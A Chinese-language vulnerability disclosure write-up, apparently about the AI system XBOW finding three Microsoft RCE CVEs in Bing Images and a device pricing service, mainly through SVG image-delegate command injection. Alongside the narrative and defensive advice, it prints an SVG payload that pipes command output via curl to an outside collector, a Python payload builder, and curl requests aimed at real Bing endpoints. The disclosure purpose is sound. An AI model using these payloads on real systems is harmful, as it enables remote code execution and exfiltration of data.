自主发现了三个关键的 Microsoft RCE 漏洞:攻击者控制的输入如何变成应用程序视为管道的“乏味”的辅助函数内部的代码。
我一直很欣赏优秀研究人员的一点,是他们能注意到别人忽略的细节。有人称之为直觉,但我认为这通常是坚持不懈、不放过任何蛛丝马迹的自律精神。AI 黑客两者兼备。
最棒的漏洞,至少是我最喜欢的漏洞,往往就藏在眼皮底下,静静等待一个(或一些)足够耐心的人提出最后一个问题。这次调查正是这样开始的。
本文是对此前以协调漏洞披露(CVD)方式报告的微软漏洞的后续说明——我们私下报告了这些漏洞,给微软留出修复时间,并在修复和吸收完成前有意隐去了利用方法,确保客户在部署期间的安全。此次披露的三个微软 CVE 如下:
- CVE-2026-32194:Bing Images 中的严重远程代码执行漏洞,由图像处理管道中的命令注入引起。
- CVE-2026-32191:第二个严重的 Bing Images RCE 漏洞,存在于相关的服务器端图像摄取路径中。
- CVE-2026-21536:Microsoft 设备定价计划中的严重远程代码执行漏洞,起因是服务器可执行文件上传不受限制。
微软的公告将这三个漏洞均评为严重远程代码执行,CVSS 评分 9.8。Bing Images 的公告描述为:未经授权的攻击者可通过网络进行命令注入和操作系统命令注入攻击,无需权限或用户交互。微软致谢名单中,XBOW 被列为全部三个 CVE 的发现者,跻身漏洞赏金排行榜前十。我们是该排名中唯一的 AI。
披露内容与发现一致。本文要说明的正是其重要性。只有有效的漏洞利用才能衡量发现的风险程度,而这次调查始于一个看似普通的盲 SSRF,最终却实现了远程代码执行。

故事从 Bing 的反向图片搜索开始。第一个信号看起来几乎不值一提:从后端获取图片 URL——这本就是该功能的本职工作。完全可以就此打住,把它当成低影响的盲 SSRF,假设行为合法,然后继续往下翻。但 XBOW 没有。
差别在于坚持。一个可疑的 500 号代码、一些前后矛盾的回复、对不同载荷解读方式的细微差异,就足以让调查继续推进。
看似正常的功能实际上只是攻击链的第一步,最终从图像获取延伸到了在 Bing 后端图像处理工作进程上执行命令。我们全程遵循安全研究原则:为验证发现,XBOW 只运行了无害的只读验证命令,并将输出转发到我们控制的带外收集器。我们没有运行任何破坏性命令,没有修改微软系统,也没有触碰客户或用户数据。
Bing 的反向图片搜索功能可能被用于从后端拉取攻击者控制的图片 URL。单看这一点很难判定价值:响应是盲的,并且提交图片后去获取它,本来就是反向搜索的用途。真正有价值的信号是,后端解析获取到的数据时返回的那些可疑的 500 错误。接下来所有的工作都围绕一个问题展开:Bing 把这些字节抓到手之后,它们到底经历了什么?
XBOW 通过观察 Bing 基础设施向外部捕获端点发出的带外 HTTP 请求(User-Agent 为 bingbot/2.0),确认了服务器端的数据获取行为。这一行为因负载均衡而异:部分工作进程在不处理获取时就返回正常错误路径,而存在漏洞的工作进程虽然也会向客户端报错,却仍然会执行服务器端请求。那个错误由此成了关键线索,调查人员没有把它丢进“以后再说”的篮子,而是沿着它深挖了下去。
这三项发现性质不同,但模式一致。在每一个案例中,攻击者控制的输入都会跨越信任边界,进入应用程序以为只是个惰性底层组件的内部(如图像转换器或文件上传处理程序),然后变成代码。应用程序以为自己只是在处理图片或存储文件,而底层的辅助组件实际上在运行程序。这都不算新漏洞——ImageTragick 已经十年了,无限制上传漏洞更老——但它们却在现代生产云系统中被重新发现,并且是在追踪线索的过程中,沿着一层层通常会被阻断的线索深挖下去才浮出水面。
循迹追踪
在攻击性研究中,第一个有价值的信号很少直接就是漏洞,更多时候它只是一个指针:一点点不寻常,指向问题之所在。HTTP 会话只讲了一半故事,另一半在 XBOW 的推理轨迹中,每一次观察都是下一次实验的论据。调查逐渐形成了一种节奏:观察,提出假设,设计实验去证实或推翻它,并让实验结果指出下一步测试的方向。500 错误是一条值得追踪的线索,重定向则揭示了后端到底在处理什么。每一个响应都在缩小搜索范围。这一切并非靠一个幸运的载荷,而是靠追踪每一个结果,直到管道暴露它愿意解释的内容。

第一个假设是 XXE。不同内容类型表现出不同行为:普通非图像内容早期就会失败,而 SVG 和 XML 内容进入了更深的解析路径,返回的错误也与 XML 解析器一致。然而,对外部 DTD 和 XInclude 的尝试从未触发 XXE 所需的出站请求。这削弱了 XXE 的可能性,也缩小了搜索范围。排除一个假设本身就是进步:死胡同告诉你下一步不必在哪里浪费时间——而这,恰恰是整个工作的大头。
于是问题变得更加具体:究竟是哪一个解析器或辅助函数接收到了获取的内容?这一重新定义打开了另一个攻击面:服务器端 SVG 处理器中的 XSLT 或脚本处理、解析器暴露的协议处理程序,以及最重要的 ImageMagick 风格的编码器和委托。现在,500 错误指向了一个值得深挖的下游解析器边界。
盲打虽然严苛,却也自有价值:既然客户端得不到任何直接反馈,就不能靠猜,只能靠推理。每一个信号都至关重要。可用的信号有:客户端可见的状态码、搜索重定向、主机日志和带外回调,而它们之间的差异正好够用——XXE 所依赖的 XML 特性载荷不会产生二次请求,而普通的 SVG 图像引用却会触发渲染器发出出站请求。每一个载荷都向后端提了一个问题,而请求的响应(或缺失)就是答案。
由此,两个层级被分离开来:XML 解析器无法解析外部实体,而 SVG 渲染层却会追踪图像引用。于是,探测程序开始挑逗渲染器本身。一个有效的 PNG 引用能顺利完成反向图像搜索;指向带外端点的引用会发出出站请求,但因为返回的是非图像内容,渲染失败。ImageMagick 的伪协议进一步明确了边界:label:、xc: 和 vid: 风格的输入都能产生可识别的图像结果,而 text:、caption:、pango: 以及直接读取文件的尝试则统统失败。每一次探测失败,都排除了一位解码器;每一次探测成功,都确认了一位在岗的解码器。
这确定了后端是一套 ImageMagick 或与其兼容的协议栈,也揭示了其策略:部分解码器被启用,另一些被禁用;标签内的命令元字符被当作文本来渲染,而不是执行。找到引擎比任何单次探测都重要,因为它将开放式的搜索变成了定向的搜索。顺利的调查往往都有这种感觉:可能性范围随着时间一步步收窄。最后,悬而未决的问题浓缩为一个:哪些 ImageMagick 控制的路径还能抵达由 shell 驱动的委托?
经过数十次实验,XBOW 的跟踪记录已经演变成一张管道能解释和不能解释的内容地图。按顺序回放,可以看到搜索空间一个接一个地坍缩,每次只处理一个约束条件。清理后的片段如下:
推理过程(XBOW 调查的代表性片段;以下所有物证均为佐证):
[imgref] Status:200 | Body: {"redirectUrl":"/search?q=Color%20Palette%20Red%20Background..."}[uatest] Status:500 | Body:
[mslsvg] Status:500 | Body:
[pipe] Status:500 | Body:
[label] Status:200 | Body: {"redirectUrl":"/search?q=Test%20Image..."}
[text-etc-passwd] Status:500 | Body:
[caption-test] Status:500 | Body:
[label-pipe] Status:200 | Body: {"redirectUrl":"/search?q=How%20To%20Pronounce%20Lid..."}
[label-backtick] Status:200 | Body: {"redirectUrl":"/search?q=Id%20Logo..."}
[vid-test] Status:200 | Body: {"redirectUrl":"/search?q=120X120%20Test%20Image..."}
[xc-red] Status:200 | Body: {"redirectUrl":"/search?q=Abstract%20Curved%20Paper%20Design..."}
这里没有哪一行能单独定论,关键在于有多少行结果指向同一个方向。回顾整个流程,案情从这之后就无可辩驳了。没有哪项测试能一锤定音,但太多独立的测试结果都在说同一件事:XML 层的操作不起作用,渲染器级的引用却被触发,伪协议则改变了搜索结果。正是这些因素推动调查继续深入图像转换层,而不是直接放弃那个 500 错误。
从 SVG 到命令执行
图像辅助层是漏洞汇集之处。获取的 SVG 文件被交给图像转换管道,精心构造的 SVG 能够抵达启用委托的解码器,并在服务器端解析和光栅化过程中触发命令执行。SSRF 的作用只是充当传递机制:它将攻击者控制的 SVG 文件送到一个不安全的图像处理工作进程中。真正的漏洞就在那个工作进程里。
同样的漏洞也存在于直接上传图片的路径中。从外部看,“图片搜索”流程和普通的图片导入并无二致:用户提交图像数据,Bing 处理,服务返回视觉上相关的搜索结果。然而在后端,攻击者控制的 SVG 内容可以从图像处理环节跳到命令执行环节。
这就是两个 Bing CVE,指向同一个委托驱动的管道。CVE-2026-32194 是图像处理管道中的命令注入漏洞,可通过公开的“按图搜索”上传功能访问。CVE-2026-32191 则是服务器端数据导入路径,即前面提到的爬虫抓取的 SSRF 变体。两个漏洞均无需身份验证、Cookie、会话状态或特权账户。其可利用性源于暴露的图像工作流,这些工作流接受攻击者控制的内容,并将其传递给后端转换层——而该层会把其中一部分内容解释为可执行行为。
证明:生产环境中的 Bing 系统
结果决定了影响范围。命令以 NT AUTHORITY\SYSTEM 权限在运行 Windows Server 2022 Datacenter 的生产 Bing 图像处理工作进程上执行,输出具有完整的 SYSTEM 权限和管理员级组成员资格。问题并非出在单个工作进程上:在位于不同主机和网络范围的多个后端工作进程上都重现了相同的行为,说明这存在于 Bing 的整个图像处理层,而不是某台配置错误的主机。
证据来自带外回调,而非可见的 HTTP 响应,而且必须如此:前端请求可能返回错误,后端工作进程却依然接收图像、抵达危险的委托路径、执行命令,再通过从处理环境内部发出的出站 HTTP 请求把输出送回来。

第一个证明使用了 Linux 风格的 id 命令,带外收集器收到了 uid=0 和 gid=0,证实了在该环境中具有 root 级执行权限:
来自 Linux 后端工作进程的带外回调确认执行:
POST /output
User-Agent: curl
Body: uid=0(user) gid=0(group)
但该集群的架构并不统一。一些处理同一图像处理路径的进程是 Windows Server 机器,而自动 RCE 验证器被编写成只把 Linux 输出视为成功模式,因此它差点把实际影响记录为失败。验证器只能识别它被告知去识别的成功模式,而这个验证器被告知预期的是 Linux 输出。通过读回返回的回调数据,调查人员将范围扩大到识别 Windows 验证命令:systeminfo、ipconfig /all、whoami /all 以及目录列表输出。回调体也随之改变,由此暴露了验证器的第一个盲点:
来自 Windows 工作进程的回调(生产输出摘录,第一个通过验证器形状的样本):
POST /output
User-Agent: curl
Body (systeminfo excerpt):
OS Name: Microsoft Windows Server 2022 Datacenter
POST /output
User-Agent: curl/[redacted]
Body (whoami /all excerpt):
PRIVILEGES INFORMATION
SeImpersonatePrivilege ... Enabled
SeDebugPrivilege ... Enabled
因此,证明并未仅仅依赖一个模糊的回调。Linux 和 Windows 工作进程都返回了命令输出,并且在 Windows 系统上,目录输出将执行位置定位在 Bing 的多媒体图像处理组件中,从而把命令安放在了预期的后端层。服务器端获取变体也完整地跑通了:SVG 文件托管在外部,后端 bingbot/2.0 抓取该文件,curl 回调返回命令输出——这一过程在多个载荷变体中均被验证。
这一切并非必然会被发现。服务器端的获取操作是预期功能,而这种不向客户端返回任何数据的盲 SSRF 通常会被降级处理。有多少类似的漏洞最终被打上了“信息性”或“不予修复”的标签,就因为真正的漏洞藏在更深一层的解析器里,早已过了中途放弃的瓶颈?获取操作返回的错误就是全部信号,而且极容易被忽略。
事后看来,从那个 500 错误到拿到 SYSTEM shell 的路径似乎注定要走通。但在调查进行中的时候,完全不是那么回事。每一步都只有当前的假设、上一次的发现,以及“下一步该测什么”的问题。决定下一步方向的,永远只是摆在眼前的证据。引发这一切的 500 错误,完全可能被记录下来,然后被遗忘。
有效载荷的构成
在这一切之后,载荷本身几乎显得有些平淡。构建 SVG 图像只是最后一步,真正的难题全都发生在前面:证明哪个后端边界会把攻击者控制的图像内容解释为可执行行为。之前的每一个载荷都是在向系统提问,而这一个载荷只是在验证以前的结论。对于直接上传路径,提交的图像数据是一个 base64 编码的 SVG 图像,包含三个部分:
- 图像导入流程可接受的 SVG 封装。
- 嵌入的
href / xlink:href 图片引用,以抵达启用委托的转换路径。
- 以管道符开头的证明命令,其输出被发送给 XBOW 控制的带外收集器。
去除宿主信息后,结构如下所示(直接上传载荷结构):
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<image href="|id | curl -d @- https://[OOB-COLLECTOR]/output" width="1" height="1"/>
</svg>
经过 base64 编码的直接上传请求格式:
SVG_B64="$(base64 -w0 exploit.svg)"
curl -s -o /dev/null -w '%{http_code}' \
-F "imageBin=${SVG_B64}" \
"https://www.bing.com/images/kblob"
对于一个有意启用相同危险委托行为的本地实验环境,可以使用如下最小 SVG 来演示该类:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<image href="|id" width="1" height="1"/>
</svg>
生产环境验证沿用了相同结构,此处隐去收集器主机信息。在 Windows Server 2022 后端工作节点上,该回调确认以 NT AUTHORITY\SYSTEM 身份执行。以下片段保留了有效载荷和请求结构,同时隐去回调基础设施。
生产环境有效载荷构建器(收集器主机已编辑):
#!/usr/bin/env python3
import base64
import sys
command = sys.argv[1]
oob = "[OOB-COLLECTOR].evil.tld"
svg = '<?xml version="1.0" encoding="UTF-8"?>\n'
svg += '<svg xmlns="http://www.w3.org/2000/svg" '
svg += 'xmlns:xlink="http://www.w3.org/1999/xlink" '
svg += 'width="100" height="100">\n'
svg += ' <image xlink:href="|' + command
svg += ' | curl -d @- http://' + oob + '/output" '
svg += 'width="100" height="100"/>\n'
svg += '</svg>'
svg_b64 = base64.b64encode(svg.encode()).decode()
对于爬虫变体,同类 SVG 内容托管在外网,由 Bing 的后端爬虫抓取后,再交给图像转换层处理。请求结构为服务器端抓取触发器加上对攻击者控制的图像内容的引用:
curl -s -D - \
"https://www.bing.com/images/search?imgurl=https://[PAYLOAD-HOST]/exploit.svg&view=detailv2&iss=sbi"
相应的主机日志和带外日志显示出链条的两个部分:
验证期间观察到的服务器端获取(托管日志和回调示例):
GET /exploit.svg
User-Agent: Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
POST /output
User-Agent: curl/[redacted]
Body: uid=0(user) gid=0(group)
在这两种情况下,关键行为完全一致:攻击者控制的 SVG 内容抵达后端委托路径,而该路径将图像引用的部分内容视为可执行行为。
我们在此有意省略了回调机制、后端工具版本字符串以及完整的实际目标复现环境。这里要汲取的教训在于架构层面:高风险解析和转换组件需要严格的输入验证,危险的委托功能默认应被禁用,隔离边界应当假定文件格式本身就是活跃的攻击面,而非惰性介质。
为什么图像管道很危险
之所以能够得手,是因为像 SVG 这类格式不仅仅是像素。SVG 本质上是 XML:它可以描述形状、嵌入对其他图像的引用,并能实现图像处理套件为了兼容性而支持的转换功能。ImageMagick 式管道通过编码器、伪协议和委托程序来规范化这些丰富的格式。当输入可信时,这些功能大有用处;而当它们可以通过公共上传或爬虫路径访问时,就变得极其危险。对应用程序而言,看似图像引用的值,对转换器来说却变成了一条指令;一旦转换器能够调用 shell 驱动的委托,信任边界随之消失。
这类攻击途径古已有之。ImageTragick(CVE-2016-3714)记录了精心构造的图像内容如何抵达 ImageMagick 的编码器和委托对象,并通过 shell 元字符执行命令;此后在 ImageMagick 和 Ghostscript 中发现的 SVG 至 RCE 漏洞也一再表明,当策略过于宽泛时,MVG、协议处理程序和委托解释器会构成同样的风险。Bing 的发现采用了更直接的命令执行路径,但教训不变:不受信任的图像转换代码对命令注入高度敏感,而不是普通的媒体处理。而且这并非 ImageMagick 独有的问题——GitLab 向 HackerOne 披露的 ExifTool 报告中,用于元数据剥离的上传文件并不依赖扩展名进行类型识别,而是通过内容识别,最终抵达 GitLab 从未打算公开的解析器并导致了 RCE。这与另一个辅助函数中出现的漏洞属于同一类型。
应用程序把图像辅助函数当成底层架构,而攻击者则把它们视为解析器。调用转换器、去除元数据、调整尺寸、光栅化、生成缩略图,然后继续下一步——人们很容易忘记这些辅助函数承载着数十年的格式兼容性、协议支持、shellout 行为以及内容嗅探能力。应用程序以为自己接收的是“一张图片”,而辅助函数看到的却是 SVG、MVG、EPS、DjVu、EXIF、嵌入式 URL、委托协议或解释器支持的格式。除非刻意缩小这种边界,否则辅助函数就会在无声无息中变成攻击者控制的执行环境。
技术要点
Bing Images 的漏洞指向一个防御机制:危险的执行边界就藏在看似普通的应用程序功能背后。这次造成损害的有两个边界。
对于图像流,边界在于辅助函数的调用。默认图像解析器、转换器、元数据剥离器、光栅化器和爬虫都属于攻击面。格式嗅探、嵌入式引用、委托协议、shell 调用以及解释器支持的格式,都事关生死。ImageMagick 自身的安全策略指南建议采用适合部署环境的策略,并特别指出在公共网站场景中,应限制或禁用风险较高的编码器、模块、间接读取、过滤器和外部委托。处理不受信任的上传或服务器获取图片的部署,应当禁用 shell 调用的委托(包括基于管道的委托行为),强制执行严格的 policy.xml 和 delegates.xml 配置,并禁止使用 SVG、MVG、EPS 等高风险格式,除非确有必要且在严格隔离的环境中处理。更广泛地说:严格控制支持的格式,在权限降低的沙箱中运行转换,并限制工作进程的出站网络访问。
对于服务器端获取数据流,边界则是出站流量。任何获取用户提供的 URL 的功能都需要严格的目标地址白名单、协议验证、重定向控制、DNS 重绑定保护、内部地址屏蔽,以及阻止访问元数据服务或仅限内部使用系统的网络策略。在这次事件中,服务器端获取数据之所以至关重要,正是因为它将攻击者控制的字节传递给了危险的图像辅助工具。
验证器自身的失效也敲响了警钟。如果验证框架只针对一种操作系统、一种输出格式或一种工作节点类型,那么在异构集群中就可能漏掉真正的威胁。在这个案例中,同一漏洞导致了 Linux 和 Windows 环境的回调,漏洞利用已经成功;只是第一个验证器的检测范围太窄,未能捕获到它。
Bing 的两个 CVE 并不是新漏洞类型。图像辅助函数中的命令注入漏洞已经存在多年。真正的新情况在于,在现代云服务中识别这类漏洞需要持续投入精力——因为每一中间步骤看起来都很平常:服务器端获取数据、解析器错误、渲染器行为异常……单独看都不足以定为重点。调查者需要不断追问每一条新证据的意义,一次实验接一次实验,直到最后发现答案:系统 shell。
但这又引出了另一个问题:一个自主系统如何在没有人类操控的情况下,沿着这样一条路径前进,途中还要经过几十个死胡同?我们将在即将发表的文章《自主系统的工程设计》中展开探讨。
(本文技术内容由云栈社区整理发布)